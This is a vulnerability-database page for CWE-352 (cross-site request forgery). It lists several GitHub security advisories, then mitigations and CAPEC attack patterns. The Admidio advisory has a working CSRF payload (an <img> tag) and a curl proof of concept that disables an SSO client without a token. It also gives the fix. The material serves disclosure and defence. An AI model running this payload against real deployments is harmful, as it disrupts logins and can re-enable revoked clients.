CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14168 vulnerabilities reference this CWE, most recent first.
GHSA-XG76-5QJ2-2HHV
Vulnerability from github – Published: 2026-05-29 22:01 – Updated: 2026-05-29 22:01Summary
modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.
Details
Vulnerable Code
modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:
case 'delete_oidc':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$oidcService = new OIDCService($gDb, $gCurrentUser);
$client = $oidcService->getClientFromUUID($getClientUUID);
$client->delete();
echo json_encode(array('status' => 'success'));
break;
case 'enable': // <- no CSRF validation
$enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
// Not a SAML record, so try OIDC:
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.
Exploitation Flow
- Attacker prepares a hostile page that loads (e.g.)
<img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposesdata-uuidattributes in the rendered HTML, and SSO metadata endpoints (e.g.modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML. - An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set
SameSite=Strict). - The server runs
case 'enable':as the admin, setssmc_enabled=0(orocl_enabled=0), and replies{"success":true}. - The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets
SYS_SSO_INVALID_CLIENTon its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently re-enabling a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).
PoC
Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
NOW(), 2);
SQL
mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid smc_client_name smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1
# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.
Impact
In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
- SSO outage for whichever client UUID the attacker chose. Users who depend on
app1.example/sso(or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand. - Stealthy re-activation of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing
enabled=1instead of0.
The impact is limited to the SAML / OIDC _enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the _enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.
Recommended Fix
Add the CSRF check and switch the trigger from GET to POST:
case 'enable':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm_csrf_token).
A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's _enabled column is unchanged.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.9"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47229"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T22:01:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`modules/sso/clients.php` validates an `adm_csrf_token` on every state-changing branch except `enable`. The `enable` case loads the SAML or OIDC client by UUID, calls `$client-\u003eenable($enabled)`, and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.\n\n## Details\n\n### Vulnerable Code\n\n`modules/sso/clients.php:84-115` \u2014 the file\u0027s other branches each begin with `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);`, but `case \u0027enable\u0027:` does not:\n\n```php\ncase \u0027delete_oidc\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $oidcService = new OIDCService($gDb, $gCurrentUser);\n $client = $oidcService-\u003egetClientFromUUID($getClientUUID);\n $client-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n\ncase \u0027enable\u0027: // \u003c- no CSRF validation\n $enabled = admFuncVariableIsValid($_GET, \u0027enabled\u0027, \u0027boolean\u0027);\n $client = new SAMLClient($gDb);\n $client-\u003ereadDataByUuid($getClientUUID);\n if ($client-\u003eisNewRecord()) {\n // Not a SAML record, so try OIDC:\n $client = new OIDCClient($gDb);\n $client-\u003ereadDataByUuid($getClientUUID);\n }\n if ($client-\u003eisNewRecord()) {\n throw new Exception(\u0027SYS_SSO_INVALID_CLIENT\u0027);\n }\n $client-\u003eenable($enabled);\n $client-\u003esave();\n echo json_encode([\u0027success\u0027 =\u003e true]);\n break;\n```\n\nThe `enable($enabled)` call is documented to set a single boolean column on the SAML / OIDC client row \u2014 `smc_enabled` for SAML, `ocl_enabled` for OIDC \u2014 and `save()` persists the change immediately. The handler accepts plain GET (`admFuncVariableIsValid($_GET, \u0027enabled\u0027, \u0027boolean\u0027)`), so a `\u003cimg src=...\u003e` or auto-submitting form is sufficient.\n\n### Exploitation Flow\n\n1. Attacker prepares a hostile page that loads (e.g.) `\u003cimg src=\"http://victim.example/modules/sso/clients.php?mode=enable\u0026uuid=\u003cknown-sso-client-uuid\u003e\u0026enabled=0\"\u003e`. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table \u2014 but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes `data-uuid` attributes in the rendered HTML, and SSO metadata endpoints (e.g. `modules/sso/saml.php?metadata=1\u0026uuid=...`) confirm valid UUIDs by returning XML.\n2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio\u0027s session cookie (which does not set `SameSite=Strict`).\n3. The server runs `case \u0027enable\u0027:` as the admin, sets `smc_enabled=0` (or `ocl_enabled=0`), and replies `{\"success\":true}`.\n4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets `SYS_SSO_INVALID_CLIENT` on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.\n\nThe attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).\n\n## PoC\n\nTested on HEAD `c5cde53`. To produce a deterministic test target, an SSO client is provisioned directly in the DB:\n\n```\n# 0. seed a SAML client\nmariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \u003c\u003c\u0027SQL\u0027\nINSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,\n smc_timestamp_create, smc_usr_id_create)\nVALUES (\u0027aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\u0027, 1, \u0027Test SAML\u0027, \u0027https://app.example/acs\u0027, 1,\n NOW(), 2);\nSQL\n\nmariadb ... admidio -e \"SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name=\u0027Test SAML\u0027;\"\nsmc_uuid smc_client_name smc_enabled\naaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1\n\n# 1. CSRF lure \u2014 admin\u0027s browser, no token supplied, GET only\ncurl -b $admin_cookie -i \\\n \"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable\u0026uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\u0026enabled=0\"\nHTTP/1.1 200 OK\n{\"success\":true}\n\n# 2. observe the change\nmariadb ... admidio -e \"SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid=\u0027aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\u0027;\"\nsmc_enabled\n0\n```\n\nThe change persists. The legitimate admin\u0027s UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.\n\n## Impact\n\nIn an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:\n\n* **SSO outage** for whichever client UUID the attacker chose. Users who depend on `app1.example/sso` (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand.\n* **Stealthy re-activation** of a client the admin had previously deactivated for a security reason \u2014 for example, a relying party whose certificate had been compromised \u2014 by passing `enabled=1` instead of `0`.\n\nThe impact is limited to the SAML / OIDC `_enabled` column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (`A:L`) because only one client at a time is hit, and only the SSO path of that client. Integrity is `I:L` because the `_enabled` bit is the only mutated column. `UI:R` reflects the admin-must-visit requirement; `PR:N` because the attacker needs no Admidio credentials of their own.\n\n## Recommended Fix\n\nAdd the CSRF check and switch the trigger from GET to POST:\n\n```php\ncase \u0027enable\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n if ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {\n throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n }\n\n $enabled = admFuncVariableIsValid($_POST, \u0027enabled\u0027, \u0027boolean\u0027);\n $client = new SAMLClient($gDb);\n $client-\u003ereadDataByUuid($getClientUUID);\n if ($client-\u003eisNewRecord()) {\n $client = new OIDCClient($gDb);\n $client-\u003ereadDataByUuid($getClientUUID);\n }\n if ($client-\u003eisNewRecord()) {\n throw new Exception(\u0027SYS_SSO_INVALID_CLIENT\u0027);\n }\n $client-\u003eenable($enabled);\n $client-\u003esave();\n echo json_encode([\u0027success\u0027 =\u003e true]);\n break;\n```\n\nUpdate the JS call site that drives the enable/disable toggle to POST the form\u0027s CSRF token (the page already renders `adm_csrf_token`).\n\nA regression test should issue a `GET /modules/sso/clients.php?mode=enable\u0026uuid=\u003cx\u003e\u0026enabled=0` with an admin cookie but no token, and assert the response rejects the request and the client\u0027s `_enabled` column is unchanged.",
"id": "GHSA-xg76-5qj2-2hhv",
"modified": "2026-05-29T22:01:58Z",
"published": "2026-05-29T22:01:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-xg76-5qj2-2hhv"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation"
}
GHSA-XGC5-JHVR-XFH8
Vulnerability from github – Published: 2022-05-17 04:48 – Updated: 2022-05-17 04:48Cross-site request forgery (CSRF) vulnerability on Siemens SIMATIC S7-1500 CPU PLC devices with firmware before 1.5.0 and SIMATIC S7-1200 CPU PLC devices with firmware before 4.0 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2014-2249"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-16T14:06:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability on Siemens SIMATIC S7-1500 CPU PLC devices with firmware before 1.5.0 and SIMATIC S7-1200 CPU PLC devices with firmware before 4.0 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.",
"id": "GHSA-xgc5-jhvr-xfh8",
"modified": "2022-05-17T04:48:26Z",
"published": "2022-05-17T04:48:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2249"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-456423.pdf"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-654382.pdf"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/advisories/ICSA-14-073-01"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/advisories/ICSA-14-079-02"
},
{
"type": "WEB",
"url": "http://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-456423.pdf"
},
{
"type": "WEB",
"url": "http://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-654382.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XGF3-3873-JQ4X
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:49The zoho-salesiq plugin before 1.0.9 for WordPress has CSRF.
{
"affected": [],
"aliases": [
"CVE-2019-15645"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-27T12:15:00Z",
"severity": "HIGH"
},
"details": "The zoho-salesiq plugin before 1.0.9 for WordPress has CSRF.",
"id": "GHSA-xgf3-3873-jq4x",
"modified": "2024-04-04T01:49:03Z",
"published": "2022-05-24T16:54:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15645"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/zoho-salesiq/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9433"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGFV-V34V-46VM
Vulnerability from github – Published: 2024-11-19 18:31 – Updated: 2026-04-01 18:32Cross-Site Request Forgery (CSRF) vulnerability in Automattic, Inc. Crowdsignal Dashboard – Polls, Surveys & more allows Cross Site Request Forgery.This issue affects Crowdsignal Dashboard – Polls, Surveys & more: from n/a through 3.1.2.
{
"affected": [],
"aliases": [
"CVE-2024-43338"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T17:15:09Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Automattic, Inc. Crowdsignal Dashboard \u2013 Polls, Surveys \u0026 more allows Cross Site Request Forgery.This issue affects Crowdsignal Dashboard \u2013 Polls, Surveys \u0026 more: from n/a through 3.1.2.",
"id": "GHSA-xgfv-v34v-46vm",
"modified": "2026-04-01T18:32:26Z",
"published": "2024-11-19T18:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43338"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/polldaddy/vulnerability/wordpress-crowdsignal-polls-ratings-plugin-3-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/polldaddy/wordpress-crowdsignal-polls-ratings-plugin-3-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGFW-74V4-H83F
Vulnerability from github – Published: 2022-05-17 04:54 – Updated: 2022-05-17 04:54Cross-site request forgery (CSRF) vulnerability in CRU Ditto Forensic FieldStation with firmware before 2013Oct15a allows remote attackers to hijack the authentication of administrators for requests that modify the disk erase technique settings via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-6883"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-12-17T16:08:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in CRU Ditto Forensic FieldStation with firmware before 2013Oct15a allows remote attackers to hijack the authentication of administrators for requests that modify the disk erase technique settings via unspecified vectors.",
"id": "GHSA-xgfw-74v4-h83f",
"modified": "2022-05-17T04:54:41Z",
"published": "2022-05-17T04:54:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6883"
},
{
"type": "WEB",
"url": "http://osvdb.org/100999"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/124420/Ditto-Forensic-FieldStation-2013Oct15a-XSS-CSRF-Command-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2013/Dec/80"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/55989"
},
{
"type": "WEB",
"url": "http://www.cru-inc.com/support/software-downloads/ditto-firmware-updates/ditto-firmware-release-notes-2013jun30a"
},
{
"type": "WEB",
"url": "http://www.cru-inc.com/support/software-downloads/ditto-firmware-updates/ditto-firmware-release-notes-2013oct15a"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/30396"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XGGX-CJMV-QPQ3
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18A vulnerability in the application integration feature of Cisco Webex Software could allow an unauthenticated, remote attacker to authorize an external application to integrate with and access a user's account without that user's express consent. This vulnerability is due to improper validation of cross-site request forgery (CSRF) tokens. An attacker could exploit this vulnerability by convincing a targeted user who is currently authenticated to Cisco Webex Software to follow a link designed to pass malicious input to the Cisco Webex Software application authorization interface. A successful exploit could allow the attacker to cause Cisco Webex Software to authorize an application on the user's behalf without the express consent of the user, possibly allowing external applications to read data from that user's profile.
{
"affected": [],
"aliases": [
"CVE-2021-34743"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-21T03:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the application integration feature of Cisco Webex Software could allow an unauthenticated, remote attacker to authorize an external application to integrate with and access a user\u0027s account without that user\u0027s express consent. This vulnerability is due to improper validation of cross-site request forgery (CSRF) tokens. An attacker could exploit this vulnerability by convincing a targeted user who is currently authenticated to Cisco Webex Software to follow a link designed to pass malicious input to the Cisco Webex Software application authorization interface. A successful exploit could allow the attacker to cause Cisco Webex Software to authorize an application on the user\u0027s behalf without the express consent of the user, possibly allowing external applications to read data from that user\u0027s profile.",
"id": "GHSA-xggx-cjmv-qpq3",
"modified": "2022-05-24T19:18:31Z",
"published": "2022-05-24T19:18:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34743"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-2FmKd7T"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XGH2-WJM9-43XJ
Vulnerability from github – Published: 2023-07-11 09:30 – Updated: 2024-04-04 05:54Cross-Site Request Forgery (CSRF) vulnerability in Dave Jesch Database Collation Fix plugin <= 1.2.7 versions.
{
"affected": [],
"aliases": [
"CVE-2023-23997"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-11T08:15:10Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Dave Jesch Database Collation Fix plugin \u003c=\u00a01.2.7 versions.",
"id": "GHSA-xgh2-wjm9-43xj",
"modified": "2024-04-04T05:54:59Z",
"published": "2023-07-11T09:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23997"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/database-collation-fix/wordpress-database-collation-fix-plugin-1-2-7-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGH6-MWXQ-8JP5
Vulnerability from github – Published: 2022-03-14 00:00 – Updated: 2022-03-21 00:00An issue was discovered in PONTON X/P Messenger before 3.11.2. Anti-CSRF tokens are globally valid, making the web application vulnerable to a weakened version of CSRF, where an arbitrary token of a low-privileged user (such as operator) can be used to confirm actions of higher-privileged ones (such as xpadmin).
{
"affected": [],
"aliases": [
"CVE-2021-45886"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-13T02:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in PONTON X/P Messenger before 3.11.2. Anti-CSRF tokens are globally valid, making the web application vulnerable to a weakened version of CSRF, where an arbitrary token of a low-privileged user (such as operator) can be used to confirm actions of higher-privileged ones (such as xpadmin).",
"id": "GHSA-xgh6-mwxq-8jp5",
"modified": "2022-03-21T00:00:22Z",
"published": "2022-03-14T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45886"
},
{
"type": "WEB",
"url": "https://www.ponton.de/products/xpmessenger"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-080.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGMW-FP9V-9RFF
Vulnerability from github – Published: 2023-12-05 00:31 – Updated: 2024-08-01 15:31Cross Site Request Forgery (CSRF) vulnerability in Connectize AC21000 G6 641.139.1.1256 allows attackers to gain control of the device via crafted GET request to /man_password.htm.
{
"affected": [],
"aliases": [
"CVE-2023-24048"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T23:15:23Z",
"severity": "HIGH"
},
"details": "Cross Site Request Forgery (CSRF) vulnerability in Connectize AC21000 G6 641.139.1.1256 allows attackers to gain control of the device via crafted GET request to /man_password.htm.",
"id": "GHSA-xgmw-fp9v-9rff",
"modified": "2024-08-01T15:31:25Z",
"published": "2023-12-05T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24048"
},
{
"type": "WEB",
"url": "https://research.nccgroup.com/2023/10/19/technical-advisory-multiple-vulnerabilities-in-connectize-g6-ac2100-dual-band-gigabit-wifi-router-cve-2023-24046-cve-2023-24047-cve-2023-24048-cve-2023-24049-cve-2023-24050-cve-2023-24051-cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGQR-693C-M9JH
Vulnerability from github – Published: 2023-09-10 00:30 – Updated: 2024-02-29 03:32A vulnerability has been found in SourceCodester Take-Note App 1.0 and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-239350 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-4865"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-09T23:15:40Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in SourceCodester Take-Note App 1.0 and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-239350 is the identifier assigned to this vulnerability.",
"id": "GHSA-xgqr-693c-m9jh",
"modified": "2024-02-29T03:32:17Z",
"published": "2023-09-10T00:30:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4865"
},
{
"type": "WEB",
"url": "https://skypoc.wordpress.com/2023/09/05/sourcecodester-take-note-app-v1-0-has-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.239350"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.239350"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
